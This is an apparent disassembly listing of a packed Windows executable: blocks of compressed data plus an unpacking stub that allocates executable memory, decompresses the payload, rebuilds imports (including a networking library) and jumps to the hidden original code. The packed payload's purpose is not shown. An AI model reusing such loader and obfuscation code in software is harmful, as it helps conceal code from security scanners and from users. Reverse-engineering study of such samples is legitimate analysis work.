dd 0CE08EF72h, 0C639CF42h, 6B7F71CFh, 4AC71B2Ah, 5DAF1AFDh
dd 0A9E9D0Dh, 756FC42Ch, 0D7AB2B20h, 0A61A4946h, 0BDA15E9Fh
dd 986297A0h, 782A23C1h, 62C0514Bh, 0D2B60029h, 0E71EA2F0h
dd 0EB62B592h, 1476DF38h, 2777AE5Eh, 0C17420FDh, 7FB4F80Fh
dd 2B1E0D60h, 5C0CE957h, 2B1E0F4Eh, 0F4D9C001h, 0E5C8E9E5h
dd 0F6159154h, 7FF6FB7Ah, 0D2C17209h, 13C228E2h, 0C244ADC1h
dd 99FCA21Eh, 0FA61D094h, 9630F6D0h, 0BA723EF4h, 0CFE12A9Dh
dd 502B82B8h, 77404804h, 5386AACFh, 0D15778E6h, 61258CF9h
dd 2EC507BBh, 92E384F4h, 90F1DDDFh, 0B5E0098Eh, 15C709B7h
dd 0B727B396h, 0F7909724h, 789853BCh, 8809E9DEh, 80B1F7h
dd 0F2E715AFh, 0FFEC6256h, 70EF37A5h, 645C036Ch, 0CD6C524Ah
dd 0E46873B6h, 1CE62F9Fh, 47323Fh, 4FC11DA4h, 0FB246BB2h
dd 39447ECCh, 6E9A0523h, 0A41F70D9h, 2956A2F1h, 7C593E66h
dd 0F4126F72h, 936D67D4h, 31F51D18h, 0F081EEA8h, 0ADA60B69h
dd 0FD66A2AAh, 2236CE3h, 0AC2BA53Bh, 96125794h, 1EBCD458h
dd 0FB294DF3h, 0B3825A5h, 7327BFDEh, 0A1B2B005h, 45C6EE8Fh
dd 0E59B2AE2h, 4731E92Bh, 94458DEAh, 17F5A215h, 16C5997Eh
dd 0C0CE70FDh, 0C0AC06E8h, 802CCB88h, 0B0816218h, 0D7CFDC98h
dd 4D381B0Fh, 9EB2B160h, 0C76108BCh, 0F18C7BBEh, 91250B46h
dd 628A4E98h, 0AE0DBC32h, 7FF01D34h, 1C05C730h, 607ECFADh
dd 20B89A0h, 582DE3CAh, 92485090h, 12EC2E1h, 0DB6E891Dh
dd 0E0FC0D9Ah, 0F4959AEEh, 7D245F75h, 1A1998FFh, 8E6227EEh
dd 59B98FCCh, 2758F770h, 0EDB3A9CBh, 4E560106h, 0A603A482h
dd 5D60DF6Bh, 6EEEB3BDh, 0C51F86DBh, 0DD697B50h, 1FC8178Ah
dd 49A891B9h, 5FF7CAECh, 8E3068B6h, 0B52F3A9Bh, 0C6A999CBh
dd 0B79F3013h, 3EDE33A2h, 7778F555h, 1DB973B9h, 0D7B93F70h
dd 0E7A4D39Fh, 0B724EBD7h, 48550AADh, 0ADA53F81h, 0A527DB6Ah
dd 8CAC0C62h, 0C71C2906h, 0D27E3771h, 670F9441h, 0C9DEA872h
dd 82FC89F1h, 0B25D9429h, 93875C54h, 334AE54Bh, 10C703D7h
dd 720B240Ah, 0E381605Eh, 10EF6A1Eh, 1C951FDEh, 0BC67F711h
dd 0BC145A57h, 0E5F4DAEFh, 4C6E1348h, 412C1CE0h, 0D9F79FBh
dd 359DF5BAh, 99F27C03h, 75ECEEF9h, 0E76E1336h, 8A38CE63h
dd 0B88B0536h, 7B515A2Eh, 0AD6311C8h, 0A3D0E0F7h, 0EC352047h
dd 765FD5DBh, 0D97339B5h, 6DA4849Eh, 5DB2A4E0h, 0BD2EECFCh
dd 0C5AE5D5Ah, 10190CFDh, 0E7980F75h, 2628384Dh, 757131D5h
dd 9768E455h, 0B1355543h, 0CFA9CF8Dh, 0BB521D3Bh, 0B321005Bh
dd 47F4C33Ch, 401BF4E5h, 0F1FCB505h, 0E1D8E38Eh, 9BD0E1EFh
dd 0FF0DB4D6h, 0E72FE64Eh, 658E4A24h, 155C243Ah, 0CFA985FAh
dd 0F2D36763h, 74E5A109h, 307B5205h, 0A6B19014h, 0DE33BA2Ah
dd 45D2A490h, 83524ABh, 6BBC1BD2h, 9E6E47A9h, 0AD91FF0Eh
dd 2C0205BFh, 57C6B60Ah, 99E3C8B0h, 0F4756379h, 13D53DE2h
dd 4EAB4C3Ch, 80D8630h, 211733BFh, 0DB783034h, 480816D4h
dd 0D517FCA8h, 392D87BBh, 94412279h, 278AB9A7h, 0D84F256Ch
dd 35A78264h, 0B2F393F9h, 0D1F7A877h, 8DB8F138h, 0C7B09487h
dd 0B55652CDh, 8EC023B9h, 7B7AE076h, 31278D4Ch, 0FC29065Bh
dd 4D6B0F80h, 0F40DC399h, 7AAAA9FDh, 0BC75E70Bh, 0DC00E72h
dd 0FA30320Bh, 0FC9870E6h, 6C1B2F26h, 6699FFD1h, 0AD534A21h
dd 0DFA6F05Ah, 0E960445Bh, 0CD50CD66h, 648210C1h, 8F1A809Eh
dd 45424665h, 0FEBFD3D9h, 0EDD25C00h, 0EE3116B5h, 0B0E5462Ah
dd 7E8D887Fh, 5F54DD01h, 0EF50AE27h, 0FA7F4F6Bh, 0EED019CEh
dd 0DDA39FDDh, 0CA4AAB6Eh, 0CC1713F1h, 5D64A54Bh, 0FDC6D0C0h
dd 5A473DD6h, 0EC05663Fh, 0F8BA2A36h, 0A1E51ECh, 0E31D7714h
dd 43BA5171h, 655DF4BFh, 0A0573532h, 643837B6h, 0BA437238h
dd 5763900Fh, 3E2288B2h, 373512F4h, 6EBAD723h, 5237A14Eh
dd 2312F697h, 0DD781705h, 0CC2DD7D4h, 0BBB43007h, 0E048CDF4h
dd 0A0528750h, 0C408FCC0h
dd 5D8AE459h, 74125660h, 4D01CDA2h, 73D44CD5h, 0F97CD15h
dd 0E808C94Eh, 0FC8F33Ah, 672235FDh, 7778C470h, 22C1D2A2h
dd 0F1031826h, 0EE6CEEB1h, 9913D15Bh, 0F88C4BE9h, 57008CF9h
dd 0CEB16745h, 72894C40h, 0E95285A5h, 2D901486h, 2FF7C833h
dd 8A9EA836h, 0EBFC325Dh, 55F8672Ch, 2BA68205h, 61A7E16Eh
dd 0D6F0C5A7h, 0B6DAB126h, 9130725h, 547CB20Dh, 99D0C9E0h
dd 0FAEAF587h, 616A0C83h, 7F151E77h, 0EAB1529Bh, 203AF981h
dd 3F7FD219h, 7E00D5D6h, 0B58C5F55h, 0B70E1BCAh, 4F3238C3h
dd 26355CC5h, 4BD8h, 8CAA53E7h, 8CB74238h, 16051C2h, 0B8841B8Ah
dd 0A8D30E62h, 32F451Eh, 0E1A9E8F5h, 24CE1D9h, 862DBF1Bh
dd 15B4542Ch, 0D4FF8A8Bh, 0BD175587h, 0BDD7EC55h, 93F18D8Fh
dd 0FC2D083Ah, 4FDB6502h, 8CFA5BE3h, 0B84A55Bh, 0D7809CCDh
dd 0F1D4F977h, 10D2FDE2h, 0C60D916h, 49039CCBh, 3E1FC32Bh
dd 3399856Fh, 0F1CD8FDEh, 1517D620h, 40FFE547h, 14282575h
dd 0D3E33C73h, 601E48D7h, 0B9AAE6D4h, 24B6D37Fh, 0E6F77B92h
dd 94181312h, 842992DDh, 0B90C3466h, 53DA446h, 0A87654F6h
dd 0ABDEA35Fh, 0D77FA271h, 0C7B3299Fh, 86B1B16Ah, 0EE48DF7Eh
dd 0A9AD6130h, 0F96C788Ah, 70CC5CE0h, 0E853D394h, 4C617141h
dd 833C62D4h, 126F999Ah, 13F497E9h, 8CB12D84h, 0D9FC70BFh
dd 9D1EC145h, 3D613E53h, 5815AAD4h, 24F6162Bh, 0AA3576F9h
dd 0F91B882h, 0E4B69FCDh, 9505A812h, 0A0A87063h, 8C03594Ch
dd 82058CACh, 997C9F24h, 0FE5AE813h, 8ADCBC1Eh, 0FEB33095h
dd 0E926A469h, 0CE444BFEh, 3F0C1E3Ah, 6F571DAh, 2384F435h
dd 1237CFCCh, 0EF9E3497h, 0AAC7F5D8h, 0CE24487Ah, 0B2CDA68Ah
dd 0D89B8F7Fh, 0A15934E1h, 1CB65458h, 81F79692h, 0E472A11Bh
dd 0D09D0AFEh, 0EDA9F297h, 300CD2B5h, 2EF37B21h, 0D62AD653h
dd 2AC30ABh, 438E6CB3h, 25A2CFE8h, 9DE5640h, 7423952Eh
dd 0E6F7F517h, 0F170AA71h, 31191A47h, 0ACA7A3BFh, 1ABAB80Dh
dd 2C66BD39h, 9E7CBEBFh, 61B4042Dh, 0F5A6D5A8h, 0E56C70E2h
dd 8EC5A7AFh, 31BBC17Bh, 0A03069A7h, 0DEA08CAh, 43485D70h
dd 6357735Dh, 3467A705h, 6FC93868h, 1043D7C9h, 0B953F542h
dd 0F1615850h, 0B8BC5CA6h, 0BFD34428h, 0BB2BB28Dh, 0C6B9E217h
dd 60624A95h, 9451F780h, 9EF9ED18h, 0BFB43649h, 0B01DAEA8h
dd 0CB3CD3D5h, 0BDC3DCF5h, 92BEFFEFh, 0C19CEE54h, 0F496244Bh
dd 914F5B8Ch, 7D25EE50h, 557FEDF1h, 0BF73FEB2h, 0EA9A19D9h
dd 7E324492h, 8B01C31Bh, 3DAD177h, 0AACE2F48h, 2B2761AFh
dd 0C5E5BCE6h, 74C640Fh, 0C585E593h, 0B2CE89B3h, 0A574EBCFh
dd 0DDD2D434h, 63BFE91Bh, 0B5422A82h, 0CF16D5BCh, 2314D903h
dd 0E7825CECh, 0B5EF8213h, 294D7ED7h, 856A6CF2h, 7A434DC1h
dd 42C33675h, 4B115EA3h, 7E974695h, 8DCE8BBh, 4452999Eh
dd 55BFC763h, 0D505A418h, 350493D4h, 49482A1Eh, 1639B072h
dd 6686F937h, 8A66D89Eh, 664829ACh, 75F7DA6Dh, 7FCC1F71h
dd 29329E6Ah, 0EE5F5CEEh, 6FBEC96Ah, 0B7E7644Eh, 0B555276Ch
dd 0A3F2B864h, 420B44A0h, 6A371E43h, 31BD1336h, 0AE6E4645h
dd 9730CDBh, 0F834997Bh, 0B6EE2DAEh, 3F54F31h, 0D2991386h
dd 0CEEEB35Ch, 0E8D04F5Ch, 0D387E8A6h, 3A2A2F17h, 0E53F2E1Ah
dd 79BE7FC4h, 8B31DAF9h, 0AF29D4BDh, 80A78E7Fh, 0DEFD8334h
dd 0C884213Bh, 0B51BCC18h, 28E265CDh, 0D01AF3B2h, 2EC2E2CDh
dd 62B3FD62h, 21277279h, 0DA69CF0Ch, 0C7C75D40h, 0AADC7F47h
dd 0D0F5D9FAh, 461080FDh, 9C874016h, 0F4DBC3B4h, 0D3862E2Ch
dd 0FAA66D0Dh, 81B35A1Fh, 0A3AEA457h, 70A36655h, 37B9CF7h
dd 0CEC237A1h, 0E4599EDBh, 0F536CD12h, 280D735h, 0C97BE115h
dd 57C8A060h, 3F02A278h, 90BA1AC5h, 0F760F268h, 0D62F8121h
dd 1ECFB917h, 0E78F049Ch, 0A5B88B10h, 1BDF3630h, 0C10F43D5h
dd 2F7A20FDh, 21A75284h, 8A2706D6h, 0ABC87C65h, 0A768A69Eh
dd 9145889h, 65D19207h, 8ED10E9Bh, 0D5FCD96h, 4088E50Eh
dd 9ED9D077h, 425A0AC0h, 940538E9h, 8646A36Bh, 98DAFAF9h
dd 98D589A6h, 8D49378Ah, 7663489Eh, 0F07439C2h, 35FBEADEh
dd 48DF1488h, 0FFE6E060h, 0BA11C76Eh, 8ACBDD5Ch, 0F4A9FD67h
dd 0B9000102h, 3678D870h, 66A033EBh, 8A52DEBAh, 993F47B2h
dd 886A2187h, 0BE33D252h, 2EA85F3h, 0C0222D22h, 0E367AFC1h
dd 0B0C8D7B4h, 82CE2E61h, 7A1857FDh, 0B7B6F16Ah, 0AC8FDCBEh
dd 0B3E844C0h, 0FBB27FFDh, 2BEE6602h, 113A7580h, 37C7E49Dh
dd 84B89990h, 4A85CEBCh, 0D56614D0h, 1B005F10h, 9FD75CA5h
dd 2C877A2Eh, 0B5F69514h, 2BB92452h, 0BEF639CFh, 945740C4h
dd 6ADF8EDh, 0AC28BA7Ah, 92C636ABh, 9FB766CAh, 2F3983A5h
dd 8C8941FAh, 53AC37B5h, 880BEA4Ah, 9EAD7B5h, 0D8F05E3Fh
dd 6867D2E0h, 0ED1E53F8h, 73F74F27h, 271E0A8Dh, 74D7D187h
dd 0DEFFC683h, 0FF1F1EB8h, 5D7C41EDh, 59FA13BFh, 88A85590h
dd 6F91423Dh, 0F2513476h, 5ADEDE25h, 7D673813h, 835CCD47h
dd 3C01EA5Dh, 4211E2D4h, 14E87D24h, 0FD23A139h, 0CF3DD849h
dd 5CB63362h, 86A38343h, 0B332E3F1h, 7C14FFC1h, 0AC1F1878h
dd 0B911AA3Bh, 5C675E34h, 0F3006CCh, 6B5F92E9h, 1F03552Dh
dd 3242D4EBh, 0F238FCD0h, 3C004CE7h, 2A1AFF28h, 7EC01CE5h
dd 29FCFB26h, 544E90F6h, 7574B3D3h, 879F9BD3h, 5264h, 610h dup(0)
dd 14h, 0
dd 6B93Ch, 5D893FDh, 0C77E8h, 12h, 0Dh, 6B9D7h, 71AB1836h
dd 5, 3 dup(0)
dd 65470000h, 6F725074h, 64644163h, 73736572h, 4D746547h
dd 6C75646Fh, 6E614865h, 41656C64h, 64616F4Ch, 7262694Ch
dd 41797261h, 74FFh, 80h, 3E6h dup(0)
_nsp0 ends
; Section 2. (virtual address 0007C000)
; Virtual size : 00026000 ( 155648.)
; Section size in file : 00026000 ( 155648.)
; Offset to raw data for section: 0007C000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp1 segment para public 'CODE' use32
assume cs:_nsp1
;org 47C000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 906h, 0
dd 7B000h, 0
dd 400000h, 0
dd 71AB0000h, 7 dup(0)
dd 340000h, 0
dd offset sub_401000
align 8
dd 1, 0
dd 103h, 6 dup(0)
dd 2, 168h, 2 dup(0)
dd 1, 0
dd offset sub_401000
dd 0
dd 25180h, 3 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
dd 77E75CB5h, 0
dd 71AB1836h, 4 dup(0)
dd 7C0FCh, 7C09Ch, 3 dup(0)
dd 7C109h, 7C0B8h, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h
dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h
dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h
dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h
dd 636F7250h, 737365h, 73190000h, 91F1C3F1h
; ---------------------------------------------------------------------------
adc edi, ebp
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 0047C53A SIZE 00000009 BYTES
pushf
pusha
call $+5
pop ebp
sub ebp, 7
lea ecx, [ebp-0FEh]
cmp byte ptr [ecx], 1
jz loc_47C3D6
mov byte ptr [ecx], 1
mov eax, ebp
sub eax, [ebp-16Ah]
mov [ebp-16Ah], eax
add [ebp-13Ah], eax
lea esi, [ebp-0F6h]
add [esi], eax
push ebp
push esi
push 40h
push 1000h
push 1000h
push 0
call dword ptr [ebp-0D2h]
test eax, eax
jz loc_47C53A
mov [ebp-142h], eax
call $+5
pop ebx
mov ecx, 367h
add ebx, ecx
push eax
push ebx
call sub_47C49B
pop esi
pop ebp
mov esi, [esi]
mov edi, ebp
add edi, [ebp-17Ah]
mov ebx, edi
cmp dword ptr [edi], 0
jnz short loc_47C208
add edi, 4
mov ecx, 0
jmp short loc_47C21E
; ---------------------------------------------------------------------------
loc_47C208: ; CODE XREF: start+82j
mov ecx, 1
add edi, [ebx]
add ebx, 4
loc_47C212: ; CODE XREF: start+CFj
cmp dword ptr [ebx], 0
jz short loc_47C24B
add [ebx], edx
mov esi, [ebx]
add edi, [ebx+4]
loc_47C21E: ; CODE XREF: start+8Cj
push edi
push ecx
push ebx
push dword ptr [ebp-0CEh]
push dword ptr [ebp-0D2h]
mov edx, esi
mov ecx, edi
mov eax, [ebp-142h]
add eax, 5AAh
call eax
pop ebx
pop ecx
pop edi
cmp ecx, 0
jz short loc_47C24B
add ebx, 8
jmp short loc_47C212
; ---------------------------------------------------------------------------
loc_47C24B: ; CODE XREF: start+9Bj start+CAj
push 8000h
push 0
push dword ptr [ebp-142h]
call dword ptr [ebp-0CEh]
lea esi, [ebp-13Ah]
mov ecx, [esi+8]
lea edx, [esi+10h]
mov esi, [esi]
mov edi, esi
cmp ecx, 0
jz short loc_47C2B2
loc_47C273: ; CODE XREF: start+100j start+10Ej
mov al, [edi]
inc edi
sub al, 0E8h
loc_47C278: ; CODE XREF: start+136j
cmp al, 1
ja short loc_47C273
mov eax, [edi]
cmp byte ptr [edx+1], 0
jz short loc_47C298
mov bl, [edx]
cmp [edi], bl
jnz short loc_47C273
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
jmp short loc_47C2A2
; ---------------------------------------------------------------------------
loc_47C298: ; CODE XREF: start+108j
mov bl, [edi+4]
xchg al, ah
rol eax, 10h
xchg al, ah
loc_47C2A2: ; CODE XREF: start+11Cj
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 5
sub bl, 0E8h
mov eax, ebx
loop loc_47C278
loc_47C2B2: ; CODE XREF: start+F7j
call sub_47C3F1
lea ecx, [ebp-126h]
mov eax, [ecx+8]
cmp eax, 0
jz loc_47C34A
mov esi, edx
sub esi, [ecx+10h]
jz short loc_47C34A
mov [ecx+10h], esi
lea esi, [ebp-0F6h]
mov esi, [esi]
lea ebx, [esi-4]
mov eax, [ecx]
cmp eax, 1
jz short loc_47C2EF
mov edi, edx
add edi, [ecx+8]
mov ecx, [ecx+10h]
jmp short loc_47C2F7
; ---------------------------------------------------------------------------
loc_47C2EF: ; CODE XREF: start+169j
mov edi, esi
add edi, [ecx+8]
mov ecx, [ecx+10h]
loc_47C2F7: ; CODE XREF: start+173j start+18Ej
xor eax, eax
mov al, [edi]
inc edi
or eax, eax
jz short loc_47C320
cmp al, 0EFh
ja short loc_47C30A
loc_47C304: ; CODE XREF: start+19Dj start+1A4j
add ebx, eax
add [ebx], ecx
jmp short loc_47C2F7
; ---------------------------------------------------------------------------
loc_47C30A: ; CODE XREF: start+188j
and al, 0Fh
shl eax, 10h
mov ax, [edi]
add edi, 2
or eax, eax
jnz short loc_47C304
mov eax, [edi]
add edi, 4
jmp short loc_47C304
; ---------------------------------------------------------------------------
loc_47C320: ; CODE XREF: start+184j
xor ebx, ebx
xchg edi, esi
mov eax, [esi]
cmp eax, 0
jz short loc_47C34A
loc_47C32B: ; CODE XREF: start+1BCj
lodsd
or eax, eax
jz short loc_47C338
add ebx, eax
add [edi+ebx], cx
jmp short loc_47C32B
; ---------------------------------------------------------------------------
loc_47C338: ; CODE XREF: start+1B4j
xor ebx, ebx
shr ecx, 10h
loc_47C33D: ; CODE XREF: start+1CEj
lodsd
or eax, eax
jz short loc_47C34A
add ebx, eax
add [edi+ebx], cx
jmp short loc_47C33D
; ---------------------------------------------------------------------------
loc_47C34A: ; CODE XREF: start+149j start+154j ...
lea esi, [ebp-16Ah]
mov edx, [esi]
lea esi, [ebp-10Eh]
mov al, [esi]
cmp al, 1
jnz short loc_47C39D
add edx, [esi+4]
push esi
push edx
push esi
push 4
push 100h
push edx
call dword ptr [ebp-0D6h]
pop edi
pop esi
cmp eax, 1
jnz loc_47C53A
add esi, 8
mov ecx, 8
rep movsb
sub esi, 0Ch
sub edi, 8
push esi
push dword ptr [esi-4]
push 100h
push edi
call dword ptr [ebp-0D6h]
loc_47C39D: ; CODE XREF: start+1E2j
push ebp
pop ebx
sub ebx, 8
xor ecx, ecx
mov cl, [ebx]
cmp cl, 0
jz short loc_47C3D6
inc ebx
lea esi, [ebp-16Ah]
mov edx, [esi]
loc_47C3B7: ; CODE XREF: start+25Aj
push esi
push ecx
push ebx
push edx
push esi
push dword ptr [ebx]
push dword ptr [ebx+4]
mov eax, [ebx+8]
add eax, edx
push eax
call dword ptr [ebp-0D6h]
pop edx
pop ebx
pop ecx
pop esi
add ebx, 0Ch
loop loc_47C3B7
loc_47C3D6: ; CODE XREF: start+14j start+232j
mov eax, 0
cmp eax, 0
jz short loc_47C3EA
popa
popf
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_47C3EA: ; CODE XREF: start+264j
popa
popf
jmp sub_401000
start endp
; =============== S U B R O U T I N E =======================================
sub_47C3F1 proc near ; CODE XREF: start:loc_47C2B2p
mov esi, [ebp-172h]
or esi, esi
jz loc_47C496
mov edx, [ebp-16Ah]
add esi, edx
loc_47C407: ; CODE XREF: sub_47C3F1+61j
cmp dword ptr [esi], 0
jnz short loc_47C41A
cmp dword ptr [esi+4], 0
jnz short loc_47C41A
cmp dword ptr [esi+8], 0
jnz short loc_47C41A
jmp short loc_47C494
; ---------------------------------------------------------------------------
loc_47C41A: ; CODE XREF: sub_47C3F1+19j
; sub_47C3F1+1Fj ...
mov ebx, [esi+8]
add ebx, edx
push ebx
push edx
push esi
lea edi, [ebp-7Eh]
add edi, [esi+4]
add esi, 0Ch
push edi
call dword ptr [ebp-0DEh]
pop edi
pop edx
pop ebx
cmp eax, 0
jz short loc_47C496
mov [ebp-162h], eax
add edi, [esi]
add esi, 4
loc_47C448: ; CODE XREF: sub_47C3F1+A1j
xor ecx, ecx
mov cl, [esi]
cmp ecx, 0
jnz short loc_47C454
inc esi
jmp short loc_47C407
; ---------------------------------------------------------------------------
loc_47C454: ; CODE XREF: sub_47C3F1+5Ej
mov eax, edi
add edi, ecx
push edx
push ebx
push eax
cmp byte ptr [eax], 0FFh
jnz short loc_47C468
inc eax
mov eax, [eax]
and eax, 7FFFFFFFh
loc_47C468: ; CODE XREF: sub_47C3F1+6Dj
mov cl, [edi]
mov byte ptr [edi], 0
push ecx
push eax
push dword ptr [ebp-162h]
call dword ptr [ebp-0DAh]
pop ecx
pop edx
pop ebx
pop edx
cmp eax, 0
jz short loc_47C496
mov [edi], cl
mov [esi-4], eax
push dword ptr [esi-4]
pop dword ptr [ebx]
add ebx, 4
inc esi
jmp short loc_47C448
; ---------------------------------------------------------------------------
loc_47C494: ; CODE XREF: sub_47C3F1+27j
clc
retn
; ---------------------------------------------------------------------------
loc_47C496: ; CODE XREF: sub_47C3F1+8j
; sub_47C3F1+4Aj ...
jmp loc_47C53A
sub_47C3F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_47C49B proc near ; CODE XREF: start+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0047C536 SIZE 00000004 BYTES
push ebp
mov ebp, esp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_47C4A7: ; CODE XREF: sub_47C49B+12j
movsb
loc_47C4A8: ; CODE XREF: sub_47C49B+34j
; sub_47C49B+7Dj
call sub_47C51A
jnb short loc_47C4A7
xor ecx, ecx
call sub_47C51A
jnb short loc_47C4D1
xor eax, eax
call sub_47C51A
jnb short loc_47C4E2
mov al, 10h
loc_47C4C3: ; CODE XREF: sub_47C49B+2Fj
call sub_47C51A
adc al, al
jnb short loc_47C4C3
jnz short loc_47C50F
stosb
jmp short loc_47C4A8
; ---------------------------------------------------------------------------
loc_47C4D1: ; CODE XREF: sub_47C49B+1Bj
call sub_47C526
dec ecx
loop loc_47C4EE
mov eax, ebp
call sub_47C524
jmp short loc_47C510
; ---------------------------------------------------------------------------
loc_47C4E2: ; CODE XREF: sub_47C49B+24j
lodsb
shr eax, 1
jz short loc_47C536
adc ecx, 2
mov ebp, eax
jmp short loc_47C510
; ---------------------------------------------------------------------------
loc_47C4EE: ; CODE XREF: sub_47C49B+3Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call sub_47C524
cmp eax, 7D00h
jnb short loc_47C50E
cmp eax, 500h
jnb short loc_47C50F
cmp eax, 7Fh
ja short loc_47C510
loc_47C50E: ; CODE XREF: sub_47C49B+65j
inc ecx
loc_47C50F: ; CODE XREF: sub_47C49B+31j
; sub_47C49B+6Cj
inc ecx
loc_47C510: ; CODE XREF: sub_47C49B+45j
; sub_47C49B+51j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_47C4A8
sub_47C49B endp
; =============== S U B R O U T I N E =======================================
sub_47C51A proc near ; CODE XREF: sub_47C49B:loc_47C4A8p
; sub_47C49B+16p ...
add dl, dl
jnz short locret_47C523
mov dl, [esi]
inc esi
adc dl, dl
locret_47C523: ; CODE XREF: sub_47C51A+2j
retn
sub_47C51A endp
; =============== S U B R O U T I N E =======================================
sub_47C524 proc near ; CODE XREF: sub_47C49B+40p
; sub_47C49B+5Bp
xor ecx, ecx
sub_47C524 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_47C526 proc near ; CODE XREF: sub_47C49B:loc_47C4D1p
inc ecx
loc_47C527: ; CODE XREF: sub_47C526+Dj
call sub_47C51A
adc ecx, ecx
call sub_47C51A
jb short loc_47C527
retn
sub_47C526 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_47C49B
loc_47C536: ; CODE XREF: sub_47C49B+4Aj
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_47C49B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_47C53A: ; CODE XREF: start+51j start+1FDj ...
push 0
call dword ptr [ebp-0CAh]
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
inc dword ptr [eax]
mov edx, [ecx]
cmp edx, [ecx+4]
jnz short loc_47C556
mov dword ptr [ecx+eax*2], 2300110h
or al, 0FFh
retn
; ---------------------------------------------------------------------------
loc_47C556: ; CODE XREF: .nsp1:0047C54Aj
pop es
mov al, [edx]
inc edx
mov [ecx], edx
pusha
mov eax, [esp+4]
sbb al, 83h
popa
adc [ebx], dh
or [ebx+eax*4], cl
push esi
push ds
and [ebx], al
rol byte ptr [ecx+49h], 1
or bh, bh
push 5
jmp short loc_47C585
; ---------------------------------------------------------------------------
dw 5E58h
dd 239C9E8h, 0F0CE48Bh, 0C1C0B600h
db 0E2h
; ---------------------------------------------------------------------------
loc_47C585: ; CODE XREF: .nsp1:0047C574j
or [ebx], cl
retn 3E4Eh
; ---------------------------------------------------------------------------
dw 4189h
dd 5EEA750Fh, 5300040Eh, 8718B56h, 85DB3307h, 798057D2h
dd 762C7E0Ch, 0D1EA1C55h, 3BE380EEh, 2B0572FEh, 0CB1D83E8h
dd 0C5778101h, 0C1107360h, 0E8081AE6h, 41848985h, 4DF800E7h
dd 675DD875h, 4C5F6289h, 8B1C5E7Ah, 8CB35BC3h, 614F97F2h
dd 39B70F57h, 3CC1C2DCh, 0AF1E0BE8h, 0C7E00C7h, 4073F83Bh
dd 0BC468931h, 1F566C0h, 0BFD0348Eh, 2B98F01Eh, 0FF00C1FAh
dd 66F80305h, 7F813989h, 195CA87Eh, 0E8CE148Bh, 4E889F2Ah
dd 381DE164h, 0DFF166BAh, 0EB0EE072h, 4FD02B42h, 89566DF8h
dd 8FA06FD7h, 0D00AD20Ch, 0EA50C1E6h, 86DFC29Eh, 0FEE742A3h
dd 5F40021Fh, 0D681C35Eh, 0BB5351ECh, 94DA3E16h, 1E8DB85h
dd 891A7EF9h, 0B240FC5Dh, 708D0855h, 180CE634h, 0FD3FE83Eh
dd 4DE6C603h, 0EB75FC0Ch, 242C25Eh, 0E2D3CB8Bh, 0C9045B5Fh
dd 3A191F95h, 0F8DD8976h, 0C357309Ch, 7D3942FFh, 0FBD98BC9h
dd 207EFCA8h, 12785665h, 1E0C4203h, 0BD2385E8h, 614D0CFh
dd 9E003D3h, 3B47FC45h, 0E27C4812h, 2414151Bh, 6D61C988h
dd 0DAE899F2h, 6E4940ECh, 54E8D3E4h, 380BABCFh, 0BE493DC6h
dd 9FEA7C14h, 35A05B2Bh, 0D29C1950h, 435294FCh, 8751BC4h
dd 65D0D1B8h, 0EEEC1D8h, 1468D07h, 326E0CFh, 471B76C3h
dd 0D07396E8h, 2D80BDBh, 1C75F03Bh, 40A1FB81h, 0B21AEBD3h
dd 221BB657h, 59A276E8h, 1C99D88Bh, 8AB88AE6h, 566585C3h
dd 47FA820Eh, 417CE8F1h, 75C01385h, 0C2A4616h, 403AC57h
dd 4C8D036Ah, 0E85AB030h, 0EB31C7DCh, 24EC03Bh, 32F8D78Bh
dd 755724A8h, 104B1B65h, 0D8C2422h, 0B54E919Fh, 8C08301h
dd 406A11EBh, 2048EF8h, 0CA213A1h, 67D2D210h, 384ABE2Ch
dd 4E0813F9h, 4D41F154h, 24C8030Ch, 0B8704733h, 1A52A4F1h
dd 0DCC9283Dh, 0F44DCCEBh, 28E806C8h, 0D210E6E5h, 4B661AD6h
dd 90F84D41h, 0F020EC06h, 0E7D3E403h, 5073605h, 4ADB325Ah
dd 0CCE1C4Fh, 55604D39h, 0DC2E1060h, 0D6A0873h, 0A0E95802h
dd 769842E1h, 0D1C87540h, 0DCA8B7F9h, 0F3FE202Fh, 61C913ABh
dd 75FF0A66h, 14032018h, 0C84D8D02h, 0A3FCFAE8h, 80207D8Eh
dd 0D470860Fh, 10128A5Dh, 20861923h, 0DE89C1D8h, 66851860h
dd 0F4EA13A3h, 2061AA42h, 0C29B4604h, 55624E73h, 46FD4464h
dd 82766212h, 474223DCh, 8B1A580h, 20E74D2Ah, 0A590C380h
dd 0C59CA3h, 8DC203A1h, 5904004h, 0FF83091Dh, 6C8806E4h
dd 67D0F0Eh, 3F46587h, 243D10EBh, 9E05BA0Ah, 65B903EFh
dd 0A50D060Ah, 830CEF4h, 0F6204974h, 0F8B02B39h, 48A1C9Ah
dd 0AA88103Ch, 65A09A18h, 7783FE1Dh, 4708816Ch, 8AE76C0Eh
dd 1C54D867h, 0F2836A94h, 7EAE0843h, 33340180h, 42E894C2h
